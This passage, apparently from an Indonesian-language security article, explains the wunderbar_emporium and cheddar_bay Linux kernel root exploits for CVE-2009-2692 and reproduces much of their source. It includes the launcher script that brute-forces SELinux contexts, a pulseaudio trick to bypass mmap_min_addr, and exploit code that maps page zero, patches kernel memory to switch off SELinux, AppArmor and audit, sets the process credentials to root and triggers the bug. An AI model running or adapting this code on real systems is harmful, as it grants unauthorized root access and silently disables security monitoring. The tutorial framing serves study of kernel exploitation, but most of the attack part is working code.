linux terhadap serangan eksploit. Hal ini juga dibenarkan oleh pihak pengembang SELinux bahwa sebenarnya SELinux sangat kuat terhadap serangan 'remote-eksploit', namun ternyata lemah terhadap serangan 'local-eksploit'. Berarti jika suatu sistem merupakan webserver / hosting yang mengaktifkan SELinux, dan salah satu web pada hosting tersebut memiliki hole (misal: SQL Injection) sehingga penyerang berhasil mendapatkan akses shell (user biasa), penyerang tersebut memiliki kesempatan lebih besar untuk mendapatkan akses root dengan melakukan eksploitasi terhadap null ptr dereference dibandingkan sistem lain yang tidak mengaktifkan SELinux. SELinux merupakan produk yang digunakan oleh RedHat dan fakta ini sangat memalukan. Saya tidak akan mengupas secara mendetail eksploit cheddar_bay karena dua alasan: 1. Spender telah memberikan penjelasan yang sangat sangat panjang tentang eksploit tersebut dalam source kode exploit.c 2. Feature yang di-implementasikan oleh cheddar_bay juga digunakan oleh public eksploit kedua, wunderbar_emporium. Sehingga penjelasan umum saya berikan pada cheddar_bay, namun penjelasan proses eksploitasi akan dijelaskan secara mendetail melalui wunderbar_emporium. ===// Wunderbar Emporium \\=== Wunderbar_emporium dirilisi oleh Brad Spander sekitar tanggal 14 Agustus 2009 (Undergr0und pls CMIIW), eksploit tersebut sebagai respon dari advisories yang dirilis oleh Tavis Ormandy dan Julien Tinnes (Google Security Team) kepada public. Bug tersebut merupakan NULL pointer dereference yang disebabkan oleh "incorrect proto_ops initializations" pada kernel linux (CVE-2009-2692). Berdasarkan summary CVE: "The Linux kernel 2.6.0 through 2.6.30.4, and 2.4.4 through 2.4.37.4, does not initialize all function pointers for socket operations in proto_ops structures, which allows local users to trigger a NULL pointer dereference and gain privileges by using mmap to map page zero, placing arbitrary kode on this page, and then invoking an unavailable operation, as demonstrated by the sendpage operation (sock_sendpage function) on a PF_PPPOX socket. " Pada advisories mereka yang dipublish oleh beberapa mailing-list security[12], diberikan juga bagaimana metode untuk men-trigger bug tersebut. Pembahasan lengkap mengenai bug serta eksploit ini telah dilakukan oleh xorl[13], sehingga pembahasan yang saya berikan pada artikel ini sifatnya hanya summary, dan yang pasti dalam bahasa Indonesia ;). Pertama-tama, kita akan melihat bug kernel linux yang dapat mentrigger NULL ptr dereference tersebut. # cat include/linux/net.h ... struct proto_ops { 151 int family; 152 struct module *owner; 153 int (*release) (struct socket *sock); 154 int (*bind) (struct socket *sock, 155 struct sockaddr *myaddr, 156 int sockaddr_len); 157 int (*connect) (struct socket *sock, 158 struct sockaddr *vaddr, 159 int sockaddr_len, int flags); 160 int (*socketpair)(struct socket *sock1, 161 struct socket *sock2); 162 int (*accept) (struct socket *sock, 163 struct socket *newsock, int flags); 164 int (*getname) (struct socket *sock, 165 struct sockaddr *addr, 166 int *sockaddr_len, int peer); 167 unsigned int (*poll) (struct file *file, struct socket *sock, 168 struct poll_table_struct *wait); ... Pada Linux setiap socket memiliki asosiasi dengan suatu struktur yang disebut proto_ops. Struktur tersebut memiliki variable pointer yang menunjuk suatu fungsi operasi tertentu. Misalnya kita membuka koneksi socket internet, maka telah tersedia beberapa fungsi untuk operasi pada socket internet (seperti connect(), accept(), bind(), dll) tersebut. Nah fungsi-fungsi inilah yang ditunjuk oleh variable pointer struktur sock_ops diatas. Seluruh socket akan diberikan struktur diatas, sehingga muncul pertanyaan bagaimana seandainya ada socket yang tidak mengimplementasikan satu atau beberapa operasi dari struktur proto_ops?!Misalnya, saya mendesign cyberheb_socket() untuk diintegrasikan dalam Linux namun tidak ingin mengimplementasikan fungsi accept(). Jika hal tersebut terjadi maka cyberheb_socket() diharapkan untuk melakukan inisialisasi terhadap variable pointer *accept ke suatu fungsi, misalnya sock_no_accept(). Sebetulnya hal ini tidak akan menjadi masalah karena biasanya implementasi suatu socket telah melakukan pengecekan tersendiri. Taviso dan Julien mengambil contoh sock_splice_read, # cat net/socket.c ... 742 static ssize_t sock_splice_read(struct file *file, loff_t *ppos, 743 struct pipe_inode_info *pipe, size_t len, 744 unsigned int flags) 745 { 746 struct socket *sock = file->private_data; 747 748 if (unlikely(!sock->ops->splice_read)) 749 return -EINVAL; 750 751 return sock->ops->splice_read(sock, ppos, pipe, len, flags); 752 } ... Kita bisa lihat bahwa sesaat setelah socket di-inisialisasikan (baris 746), makan pada baris berikut nya (baris 748) dilakukan pengecekan terhadap NULL pointer dereference. Jika sock adalah NULL maka fungsi sock_splice_read() diatas akan langsung mengembalikan nilai error. Ini adalah salah satu contoh implementasi yang baik dan sesuai aturan. Namun ternyata taviso dan jullien menemukan fakta bahwa ada implementasi socket yang tidak melakukan pengecekan terhadap NULL pointer dereference sebelum melakukan dereference, yaitu pada implementasi sock_sendpage(). # cat net/socket.c ... 727 static ssize_t sock_sendpage(struct file *file, struct page *page, 728 int offset, size_t size, loff_t *ppos, int more) 729 { 730 struct socket *sock; 731 int flags; 732 733 sock = file->private_data; 734 735 flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT; 736 if (more) 737 flags |= MSG_MORE; 738 739 return sock->ops->sendpage(sock, page, offset, size, flags); 740 } ... Bisa kita lihat dengan jelas bahwa sock di-inisialisasikan dengan nilai dari private_data (baris 733), dan kemudian tanpa proses pengecekan apakah sock bernilai NULL fungsi tersebut langsung melakukan dereference di bagian akhir (baris 739). Berdasarkan advisories tersebut beberapa contoh implementasi lain juga memiliki masalah yang sama diantaranya pada protocol PF_BLUETOOTH, PF_IUCV, PF_PPPOX, dll. Advisories mereka juga dilengkapi dengan metode untuk men-trigger bug tersebut: /* ... */ int fdin = mkstemp(template); int fdout = socket(PF_PPPOX, SOCK_DGRAM, 0); unlink(template); ftruncate(fdin, PAGE_SIZE); sendfile(fdout, fdin, NULL, PAGE_SIZE); /* ... */ Advisories yang lengkap walaupun tidak menyertakan eksploit. Namun bagi para eksploit writter hal tersebut sudah cukup. Dan hal yang mungkin paling menyenangkan adalah statement berikut ini: "This issue is easily eksploitable for local privilege escalation. In order to eksploit this, an attacker would create a mapping at address zero containing kode to be executed with privileges of the kernel, and then trigger a vulnerable operation". Sempurna. Bug tersebut terjadi pada proses kernel, sehingga privilege nya merupakan "ring 0" (masih ingat dengan cerita alokasi memory diatas?! itulah gunanya mengikuti cerita artikel ini dari awal hingga akhir ;) ). Jika kita bisa mengarahkan eksekusi processor dengan privilege "ring 0" dan mengontrolnya maka tidak ada yang tidak bisa kita lakukan. Berikut ini step-by-step gambaran umum eksploit wunderbar_emporium: 1. Melakukan pengecakan apakah sistem target merupakan 32-bit ataupun 64-bit. Eksploit ini portable sehingga bisa dilakukan pada target 32-bit ataupun 64-bit (intel). 2. Melakukan pengecekan terhadap mmap_min_addr restriction. Cara paling mudah yang bisa dilakukan oleh user process biasa adalah melihat isi file /proc/sys/vm/mmap_min_addr. Jika mmap_min_addr bernilai lebih besar dari nol, maka proses eksploitasi akan dilanjutkan dengan trik bypass mmap_min_addr, namun jika bernilai nol atau file tersebut tidak ada (versi kernel 2.6 yang lama) maka akan dilakukan proses eksploitasi. Pada wunderbar_emporium2 juga ditambahkan pengecekan apakah terdapat SELinux (/selinux/enforce), jika terdapat SELinux maka akan dimanfaatkan untuk bypass mmap_min_addr karena ternyata secara default policy SELinux malah justru dapat mem-bypass mmap_min_addr melalui trik unconfined_t seperti yang digambarkan oleh Dan Walsh. 3. Proses bypass mmap_min_addr (tanpa SELinux) menggunakan trik pulseaudio. File exploit.c akan di-compile sebagai shared-object (.so) yang dapat di-load sebagai library oleh pulseaudio (dengan options "-L"). Proses ini terlebih dahulu melakukan set personality menjadi SVr4, sehingga ketika dijalankan maka pulseaudio akan secara otomatis melakukan mapping page 0. 4. Proses eksploitasi akan dilakukan oleh exploit.c, page 0 akan di-set dengan suatu fungsi yang menjalankan beberapa procedure. Diantara procedure-procedure tersebut adalah men-disable feature-feature LSM (AppArmor, Audit, SELinux). Proses ini menggunakan trik 'patching' dari symbol kernel yang telah didapatkan sebelumnya. Kenapa bisa di-disable?!tentu saja karena pada tahap ini kita telah mendapatkan "ring 0" sehingga seakan-akan procedure ini dilakukan dengan privilege kernel. 5. Trigger NULL pointer dereference pada kernel sehingga eksekusi akan dibawa ke zero page. 6. Ubah status uid menjadi root. 7. Bangkitkan shell dengan uid root. 8. r00tshell eksploit wunderbar emporium juga mengemas suatu file movie yang digunakan oleh spender untuk 'keren-keren an' :). Namun pada bahasan kita, saya akan membuang bagian movie tersebut karena tidak dibutuhkan. Eksploit ini bisa didownload dari sini[14]. Wunder emporium terdiri dari 3 files: wunder_emporium.sh, pwnkernel.c, exploit.c, kita cukup menjalankan wunder_emporium.sh dan sisanya akan dijalankan oleh script tersebut. Berikut ini isi shell script tersebut: $ cat wunder_emporium.sh ... 07 killall -9 pulseaudio 2> /dev/null 08 IS_64=`uname -p` 09 OPT_FLAG="" 10 if [ "$IS_64" = "x86_64" ]; then 11 OPT_FLAG="-m64" 12 fi 13 MINADDR=`cat /proc/sys/vm/mmap_min_addr 2> /dev/null` 14 if [ "$MINADDR" = "" -o "$MINADDR" = "0" ]; then 15 cc -fno-stack-protector $OPT_FLAG -o eksploit exploit.c 2> /dev/null 16 if [ "$?" = "1" ]; then 17 cc $OPT_FLAG -o eksploit exploit.c 18 fi 19 cat tzameti.avi >> ./eksploit 20 ./eksploit 21 elif [ ! -f '/selinux/enforce' ]; then 22 cc -fno-stack-protector -fPIC $OPT_FLAG -shared -o eksploit.so exploit.c 23 cc $OPT_FLAG -o pwnkernel pwnkernel.c 24 ./pwnkernel 25 else 26 cc -fno-stack-protector $OPT_FLAG -o eksploit exploit.c 27 cat tzameti.avi >> ./eksploit 28 ./eksploit 29 if [ "$?" = "1" ]; then 30 runcon -t initrc_t ./eksploit 31 if [ "$?" = "1" ]; then 32 runcon -t wine_t ./eksploit 33 if [ "$?" = "1" ]; then 34 runcon -t vbetool_t ./eksploit 35 if [ "$?" = "1" ]; then 36 runcon -t unconfined_mono_t ./eksploit 37 if [ "$?" = "1" ]; then 38 runcon -t samba_unconfined_net_t ./eksploit 39 fi 40 fi 41 fi 42 fi 43 fi 44 fi Script ini melakukan automatisasi proses eksploit, dan tidak ada yang istimewa karena sudah jelas dari script nya. Jika tidak ada perlindungan mmap_min_addr maka akan segera dilakukan eksploitasi menggunakan hasil compile file exploit.c, namun jika terdapat restriction mmap_min_addr akan dilihat kembali apakah SELinux diaktifkan dan Enforcing, jika tidak maka dijalankan pwnkernel.c (trik personality + pulseaudio), namun jika terdapat SELinux dan Enforcing maka sesuai blog Dan Walsh akan digunakan trik unconfined_t user yang memanfaatkan runcon untuk mengubah context process (bruteforce) ke initrc_t, wine_t, vbetool_t, unconfined_mono_t atau samba_unconfined_net_t. Trik ini bisa dilihat mulai dari baris 26 sampai baris 44. Berikutnya kita akan melihat isi file kernel.c yang mengimplementasikan trik personality+pulseaudio. $ cat pwnkernel.c /* pwnkernel.c, part of wunderbar_emporium */ #include #include #include #include #include #define PULSEAUDIO_PATH "/usr/bin/pulseaudio" /* pada wunderbar_emporium.sh file exploit.c telah di-compile sebagai shared object dan digunakan disini sebagai eksploit.so */ #define PATH_TO_eksploit "/home/cyberheb/public_eksploit/wunderbar_emporium/eksploit.so" int main(void) { int ret; struct stat fstat; ret = personality(PER_SVR4); if (ret == -1) { fprintf(stderr, "Unable to set personality!\n"); return 0; } fprintf(stdout, " [+] Personality set to: PER_SVR4\n"); if (stat(PULSEAUDIO_PATH, &fstat)) { fprintf(stderr, "Pulseaudio does not exist!\n"); return 0; } if (!(fstat.st_mode & S_ISUID) || fstat.st_uid != 0) { fprintf(stderr, "Pulseaudio is not suid root!\n"); return 0; } execl(PULSEAUDIO_PATH, PULSEAUDIO_PATH, "--log-level=0", "-L", \ PATH_TO_eksploit, NULL); return 0; } Cukup simple dan tidak perlu panjang lebar, pwnkernel akan melakukan setting personality menjadi SVr4 (PER_SVR4) dan kemudian menjalankan pulseaudio dengan terlebih dahulu melakukan pemeriksaan apakah pulseaudio merupakan binary dengan suid root. Sisanya tinggal mengeksekusi pulseaudio dengan mendefinisikan exploit.so sebagai library untuk di-load. Pada tahap ini page 0 akan di map read-only secara otomatis dan eksekusi selanjutnya akan ditangani oleh kode didalam eksploit.so. Tentu saja bagian yang paling menarik adalah exploit.c, disinilah terdapat kode-kode untuk melakukan patching LSM, mendapatkan akses root, dsb. Seperti yang telah disampaikan sebelumnya, saya akan membuang bagian video untuk keren-kerenan nya. Dan berhubung exploit.c adalah inti eksploitnya maka akan dibahas per-fungsi :). ... void pa__done(void *m) { return; } int main(void) { called_from_main = 1; pa__init(NULL); } ... Sebgaimana biasanya, eksploit akan mulai dari fungsi main(). Fungsi main() hanya terdapat 2 baris, yang pertama adalah melakukan set variable called_from_main, jika bernilai 1 maka video tzameti.avi akan dimainkan sesaat sebelum mendapatkan shell root, jika bernilai 0 maka video tidak akan dimainkan. Selanjutnya akan dijalankan fungsi pa__init(NULL), mungkin ada yang bertanya mengapa memilih nama pa__init() ataupun terdapat fungsi pa__done() pada exploit.c?! jangan lupa, pada salah satu trik bypass mmap_min_addr exploit.c akan di-compile sebagai shared object dan diload sebagai library oleh pulseaudio, dalam hal ini program utama pulseaudio akan mencari fungsi pa__init() dan pa__end() saat menjalankan library tersebut. Itu sebabnya fungsi utama dalam exploit.c akan dimasukan dalam pa__init(). Sekarang mari kita lihat apa isi dari fungsi pa_init(). int pa__init(void *m) { char *mem = NULL; int d; int ret; our_uid = getuid(); if ((personality(0xffffffff)) != PER_SVR4) { mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (mem != NULL) { /* for old kernels with SELinux that don't allow RWX anonymous mappings luckily they don't have NX support either ;) */ mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (mem != NULL) { fprintf(stdout, "UNABLE TO MAP ZERO PAGE!\n"); return 1; } } } else { ret = mprotect(NULL, 0x1000, PROT_READ | PROT_WRITE | \ PROT_EXEC); if (ret == -1) { fprintf(stdout, "UNABLE TO MPROTECT ZERO PAGE!\n"); return 1; } } fprintf(stdout, " [+] MAPPED ZERO PAGE!\n"); Tampak tidak asing?! ;p. Yup, uid proses saat ini akan dimasukan kedalam variable our_uid, dan selanjutnya dilakukan pengecekan terhadap personality. Jika personality process saat ini bukan SVr4 (page zero belum di-mapped), maka akan dilakukan mapping secara manual. Kita bisa sampai pada bagian ini biasanya karena kernel user tidak ada restriction mmap_min_addr, mmap_min_addr di-set bernilai '0', atau restriction mmap_min_addr telah berhasil di-bypass. Kernel lama yang menggunakan SELinux menggunakan pembatasan terhadap page 0 dengan tidak mengijinkan mapping RWX (Read+Write+Execute), dalam hal ini bypass-nya cukup dengan mengganti protocol untuk mapping di page 0 menjadi (Read+Write). Jika personality sudah di-set SVr4 yang berarti page 0 telah di-mapped (Read), maka tinggal mengganti hak aksesnya menggunakan syscall mprotect() agar menjadi (Read+Write+Execute). Proses selanjutnya adalah mendapatkan lokasi modul-modul LSM yang diaktifkan, ... selinux_enforcing = (int *)get_kernel_sym("selinux_enforcing"); selinux_enabled = (int *)get_kernel_sym("selinux_enabled"); apparmor_enabled = (int *)get_kernel_sym("apparmor_enabled"); apparmor_complain = (int *)get_kernel_sym("apparmor_complain"); apparmor_audit = (int *)get_kernel_sym("apparmor_audit"); apparmor_logsyscall = (int *)get_kernel_sym("apparmor_logsyscall"); security_ops = (unsigned long *)get_kernel_sym("security_ops"); default_security_ops = get_kernel_sym("default_security_ops"); sel_read_enforce = get_kernel_sym("sel_read_enforce"); audit_enabled = (int *)get_kernel_sym("audit_enabled"); commit_creds = (_commit_creds)get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred"); ... Ketika kernel mengaktifkan suatu modul security (LSM), maka modul tersebut akan diload ke suatu lokasi memory dan lokasi tersebut akan disimpan pada suatu file (/proc/kallsyms atau /proc/ksyms). Proses berikutnya dari exploit.c adalah mendapatkan lokasi LSM tersebut pada memory, hal ini dilakukan oleh fungsi get_kernel_sym() yang definisinya berikut ini: ... static unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[256]; int ret; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) { fprintf(stdout, "Unable to obtain symbol listing!\n"); return 0; } } ret = 0; while(ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr); fclose(f); return addr; } } fclose(f); return 0; } ... Fungsi ini akan membaca isi dari file /proc/kallsyms atau /proc/ksyms dan mencari lokasi berdasarkan pattern yang diinginkan. Saya rasa sudah sangat jelas inti dari kode diatas. ... mem[0] = '\xff'; mem[1] = '\x25'; *(unsigned int *)&mem[2] = (sizeof(unsigned long) != \ sizeof(unsigned int))? 0 : 6; *(unsigned long *)&mem[6] = (unsigned long)&own_the_kernel; ... Bagian selanjutnya adalah menulis page 0 yang telah di-mapped sebelumnya agar berisi kode-kode yang kita inginkan. Pada lokasi NULL (Zero Page) dimasukan 0xff, pada lokasi NULL+1 dimasukan 0x25, dan kemudian jika mesin terget adalah 32-bit maka NULL+2 akan dimasukan 0 namun jika target adalah komputer 64-bit maka NULL+2 akan dimasukan 6. Sisanya NULL+6 akan dimasukan lokasi/alamat dari fungsi own_the_kernel(). Untuk yang penasaran dengan proses pengecekan diatas (antara 32-bit dan 64-bit), trik ini sangat sederhana. Trik ini membandingkan size tipe data "unsigned long" dengan tipe data "unsigned int", pada komputer 32-bit kedua tipe data ini tidak memiliki size yang sama namun pada komputer 64-bit kedua tipe data ini memiliki size yang sama. Selanjutnya kita akan melihat bagaimana isi dari fungsi own_the_kernel(), karena pada saat NULL pointer dereference terjadi maka eksekusi akan dibawa pada lokasi fungsi ini berada. ... static int __attribute__((regparm(3))) own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long d, unsigned long e) { got_ring0 = 1; if (audit_enabled) *audit_enabled = 0; // disable apparmor if (apparmor_enabled && *apparmor_enabled) { what_we_do = 1; *apparmor_enabled = 0; if (apparmor_audit) *apparmor_audit = 0; if (apparmor_logsyscall) *apparmor_logsyscall = 0; if (apparmor_complain) *apparmor_complain = 0; } // disable SELinux if (selinux_enforcing && *selinux_enforcing) { what_we_do = 2; *selinux_enforcing = 0; } if (!selinux_enabled || selinux_enabled && *selinux_enabled == 0) { // trash LSM if (default_security_ops && security_ops) { if (*security_ops != default_security_ops) what_we_do = 3; *security_ops = default_security_ops; } } ... Pada saat NULL pointer dereference terjadi pada kernel, maka eksekusi akan dibawa menuju fungsi ini dan tentu saja privilege-nya adalah kernel. Maka jika eksekusi berhasil mencapai tahap ini kita sudah bisa menyatakan bahwa "ring 0" telah didapatkan. Bagian awal dari own_the_kernel() segara melakukan hal ini dengan men-set variable "got_ring0" dengan angka 1. Proses selanjutnya adalah men-disable LSM. Dengan privilege kernel kita dapat melakukan hal ini dengan mudah. Seperti yang telah dibahas sebelumnya bahwa get_kernel_sysm() akan memberikan lokasi modul-modul security yang diaktifkan, sehingga dengan operasi pointer kita dapat segera melakukan 'patching' lokasi tersebut agar bernilai 'nol'. Ini salah satunya: ... if (audit_enabled) *audit_enabled = 0; ... Pada bagian selanjutnya yang cukup menarik adalah proses patching SELinux: ... /* make the idiots think selinux is enforcing */ if (sel_read_enforce) { unsigned char *p; unsigned long _cr0; asm volatile ( "mov %%cr0, %0" : "=r" (_cr0) ); _cr0 &= ~0x10000; asm volatile ( "mov %0, %%cr0" : : "r" (_cr0) ); if (sizeof(unsigned int) != sizeof(unsigned long)) { /* 64bit version, look for the mov ecx, [rip+off] and replace with mov ecx, 1 */ for (p = (unsigned char *)sel_read_enforce; \ (unsigned long)p < (sel_read_enforce + 0x30); p++) { if (p[0] == 0x8b && p[1] == 0x0d) { p[0] = '\xb9'; p[5] = '\x90'; *(unsigned int *)&p[1] = 1; } } } else { /* 32bit, replace push [selinux_enforcing] with push 1 * */ for (p = (unsigned char *)sel_read_enforce; \ (unsigned long)p < (sel_read_enforce + 0x20); \ p++) { if (p[0] == 0xff && p[1] == 0x35) { // while we're at it, disable // SELinux without having a // symbol for selinux_enforcing ;) if (!selinux_enforcing) { sel_enforce_ptr = \ *(unsigned int **)&p[2]; *sel_enforce_ptr = 0; what_we_do = 2; } p[0] = '\x68'; p[5] = '\x90'; *(unsigned int *)&p[1] = 1; } } } _cr0 |= 0x10000; asm volatile ( "mov %0, %%cr0" : : "r" (_cr0) ); } ... kode diatas digunakan untuk melakukan patching pada sel_read_enforce. Patching ini seperti layaknya proses patching sebelumnya ataupun proses patching ketika kita hendak mengcrack suatu program dimana patch dilakukan secara langsung pada memory. Pada komputer 32-bit akan dicari posisi kode "push [selinux_enforcing]" dan menggantinya dengan "push 1". Posisi kode tersebut dicari mulai dari lokasi yang didefinisikan oleh *sel_read_enforce (dari symbol kernel) hingga (+0x20) pada memory. Hal yang sama dilakukan untuk komputer 64-bit. Penjelasan pada kode tersebut sangat jelas. Sekali lagi, patching apapun mungkin jika sudah mendapatkan "ring 0". Bagian selanjutnya adalah "gimme r00t". Fungsi ini sangat umum digunakan pada local eksploit Linux, dalam eksploit spender kali ini disebut sebagai fungsi give_it_to_me_any_way_you_can(). ... static void give_it_to_me_any_way_you_can(void) { if (commit_creds && prepare_kernel_cred) { commit_creds(prepare_kernel_cred(0)); got_root = 1; } ... Ini adalah tehnik variasi dari "gimme r00t". Pada kernel linux yang dirilis akhir-akhir ini terdapat fungsi untuk melakukan set credential secara langsung, berikut ini definisinya: # cat include/linux/cred.h ... 150 extern int commit_creds(struct cred *); ... dan berikut ini implementasinya: # cat kernel/cred.c ... 341 /** 342 * commit_creds - Install new credentials upon the current task 343 * @new: The credentials to be assigned 344 * 345 * Install a new set of credentials to the current task, using RCU to replace 346 * the old set. Both the objective and the subjective credentials pointers are 347 * updated. This function may not be called if the subjective credentials are 348 * in an overridden state. 349 * 350 * This function eats the caller's reference to the new credentials. 351 * 352 * Always returns 0 thus allowing this function to be tail-called at the end 353 * of, say, sys_setgid(). 354 */ 355 int commit_creds(struct cred *new) 356 { 357 struct task_struct *task = current; 358 const struct cred *old; 359 360 BUG_ON(task->cred != task->real_cred); 361 BUG_ON(atomic_read(&task->real_cred->usage) < 2); 362 BUG_ON(atomic_read(&new->usage) < 1); 363 364 old = task->real_cred; 365 security_commit_creds(new, old); 366 367 get_cred(new); /* we will require a ref for the subj creds too */ 368 369 /* dumpability changes */ 370 if (old->euid != new->euid || 371 old->egid != new->egid || 372 old->fsuid != new->fsuid || 373 old->fsgid != new->fsgid || 374 !cap_issubset(new->cap_permitted, old->cap_permitted)) { 375 if (task->mm) 376 set_dumpable(task->mm, suid_dumpable); 377 task->pdeath_signal = 0; 378 smp_wmb(); 379 } ... 420 EXPORT_SYMBOL(commit_creds); commit_creds merupakan fungsi yang di-export sebagai symbol kedalam kernel linux, sehingga kita dapat menggunakan pemanggilan langsung (fastcall) dari suatu program dengan bantuan gcc. Dalam exploit.c terdapat bagian berikut ini: ... typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) \ (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; ... dengan fungsi diatas commit_creds dan prepare_kernel_cred merupakan variable yang memegang lokasi symbol fungsi commit_creds serta prepare_kernel_cred dalam memory (export dari kernel). Dengan cara inilah maka fungsi commit_creds dapat dipanggil dari dalam exploit.c, namun tentu saja tidak semua kernel memiliki symbol ini, itu sebabnya pada bagian awal fungsi get_kernel_sym() termasuk mencari apakah pada kernel terdapat symbol "commit_creds" dan "prepare_kernel_cred". Tujuan dari fungsi commit_creds sudah jelas, fungsi tersebut akan memberikan credential yang baru pada suatu proses. Dan credential yang baru tersebut diminta melalui fungsi prepare_kernel_cred(0) dimana credential baru untuk uid=0 (root) akan disiapkan. Jika berhasil, maka variable "got_root= 1" akan di-set. Jika kernel yang digunakan target adalah kernel jenis lama ataupun tidak memiliki fungsi commit_creds(), maka tehnik untuk mendapatkan root model lama akan dijalankan. ... else { unsigned int *current; unsigned long orig_current; unsigned long orig_current_4k = 0; if (sizeof(unsigned long) != sizeof(unsigned int)) orig_current = get_current_x64(); else { orig_current = orig_current_4k = get_current_4k(); if (orig_current == 0) orig_current = get_current_8k(); } ... Linux memiliki support untuk dua macam kernel stack, 4K dan 8K kernel page dalam single-page untuk arsitektur x86. Secara default, x86 men-support 8K kernel stacks, dan ini digunakan juga oleh sistem operasi lain seperti Microsoft Windows. Namun sejak kernel 2.6.6 (saya sendiri tidak yakin kapan patch untuk 4K stack dimasukan dalam kernel Linux) linux memasukan feature ini kedalam kernel versi stabil. Pengurangan besar kernel stack sebesar 50% ini dipercaya dapat meningkatkan performa linux, dan telah di-implementasikan oleh distro seperti Fedora atau RedHat. Mungkin kita akan bertanya-tanya mengapa untuk 4K/8K stack dibuat fungsi yang berbeda?atau mengapa antara x86 (32-bit) dan x64 (64-bit) dibuat juga fungsi yang berbeda?Jawabannya adalah alokasi memory. Alokasi sistem memory yang dilakukan oleh kernel berbeda-beda, antara 2.4 dengan 2.6 saja terdapat perbedaan style alokasi memory. Wunderbar emporium merupakan contoh eksploit yang sudah dipoles untuk sebisa mungkin stabil dijalankan pada arsitektur 32/64 bit ataupun penggunaan kernel 2.4/2.6, sehingga eksploit ini melakukan beragam pengecekan diatas. Jika pada metode pertama (commit_cred) kita menggunakan built-in fungsi kernel untuk mendapatkan credential root (uid=0), maka pada metode kedua yang disebut old-style ini kita akan melakukan 'patching' secara manual dengan mencari suatu lokasi memory dan kemudian mengganti isinya sehingga proses yang kita jalankan (eksploit) mendapatkan credential root. Pertanyaan selanjutnya adalah "apa yang kita cari?!". Jawaban singkat, "task_struct". Dalam Linux, setiap proses memiliki struktur yang disebut sebagai "task_struct". Ketika suatu aplikasi/program dijalankan, dan proses/thread dibuat oleh kernel maka proses tersebut akan memiliki beberapa identitas seperti informasi stacks, register, parent process, dll. Termasuk diantaranya adalah uid dari proses tersebut. Informasi ini disimpan dalam memory secara dinamis ketika proses dibuat. Proses dari eksploit yang kita jalankan tentu saja akan memiliki uid yang menjalankan proses tersebut (mis: apache, nobody, local user, dll), dan tugas dari "gimme r00t" adalah mencari lokasi task_struct yang berisi uid untuk kemudian diganti dengan uid milik root. Mudah bukan?! Kok bisa semudah itu?! Jangan lupa, bug yang kita eksploitasi ini merupakan "ring0", apapun perintahnya akan dijalankan :). Langkah pertama tentu saja mencari lokasi dari proses saat ini, berikut ini fungsi untuk x86 (4K/8K) dan x64 (8K), ... static inline unsigned long get_current_4k(void) { unsigned long current = 0; #ifndef __x86_64__ asm volatile ( " movl %%esp, %0;" : "=r" (current) ); #endif current = *(unsigned long *)(current & 0xfffff000); if (current < 0xc0000000 || current > 0xfffff000) return 0; return current; } static inline unsigned long get_current_8k(void) { unsigned long current = 0; #ifndef __x86_64__ asm volatile ( " movl %%esp, %0;" : "=r" (current) ); #endif current &= 0xffffe000; eightk_stack = 1; if ((*(unsigned long *)current < 0xc0000000) || \ (*(unsigned long *)current > 0xfffff000)) { twofourstyle = 1; return current; } return *(unsigned long *)current; } static inline unsigned long get_current_x64(void) { unsigned long current = 0; #ifdef __x86_64__ asm volatile ( "movq %%gs:(0), %0" : "=r" (current) ); #endif return current; } ... Ambil contoh diatas untuk x86/4K, kode awal merupakan kode inline assembly yang digunakan untuk mendapatkan isi register [ESP]. Ketika suatu proses dibuat, maka ESP (Extended Stack Pointer) akan menyimpan lokasi memory awal dari stack. Setiap proses akan memiliki stack tersendiri untuk menyimpan nilai yang sifatnya dinamis, dalam hal ini kita fokuskan pada nilai uid dari proses tersebut yang diberikan oleh kernel. Nilai ESP tersebut akan dimasukan pada variable current. Variable tersebut kemudian akan dikenai proses logika "and" dengan lokasi memory 0xfffff000. Akan dilakukan pengecekan apakah nilai current lebih besar dari 0xc0000000 dan lebih kecil dari 0xfffff000 karena lokasi tersebut merupakan standar untuk x86/4K. Cukup jelas bukan?! Setelah lokasi awal dari stack didapatkan, maka selanjutnya adalah mencari posisi informasi uid disimpan, ... repeat: current = (unsigned int *)orig_current; while (((unsigned long)current < (orig_current + 0x1000 - 17 )) && (current[0] != our_uid || current[1] != our_uid || current[2] != our_uid || current[3] != our_uid)) current++; if ((unsigned long)current >= (orig_current + 0x1000 - 17 )) { if (orig_current == orig_current_4k) { orig_current = get_current_8k(); goto repeat; } return; } got_root = 1; memset(current, 0, sizeof(unsigned int) * 8); } return; } ... Proses pencarian dilakukan dari posisi "current" hingga "(current + 0x1000 - 17)", apabila telah didapatkan posisi dalam memory yang berisi informasi uid maka selanjutnya adalah mengganti nilainya dengan "0". Untuk itu digunakan fungsi memset(). Inilah salah satu metode lama untuk mendapatkan uid root dalam Linux. Jika exploit.c berhasil mencapai titik ini berarti tahap persiapan telah dilakukan dengan baik. Semua langkah diatas merupakan umpan yang akan dijalankan oleh kernel target sesaat setelah mengalami bug NULL pointer dereference. Sehingga langkah selanjutnya sangat sederhana, trigger bug pada kernel. ... /* trigger it */ { char template[] = "/tmp/sendfile.XXXXXX"; int in, out; // Setup source descriptor if ((in = mkstemp(template)) < 0) { fprintf(stdout, "failed to open input descriptor, %m\n"); return 1; } unlink(template); // Find a vulnerable domain d = 0; repeat_it: for (; domains[d][0] != DOMAINS_STOP; d++) { if ((out = socket(domains[d][0], domains[d][1], domains[d][2])) >= 0) break; } if (out < 0) { fprintf(stdout, "unable to find a vulnerable domain, \ sorry\n"); return 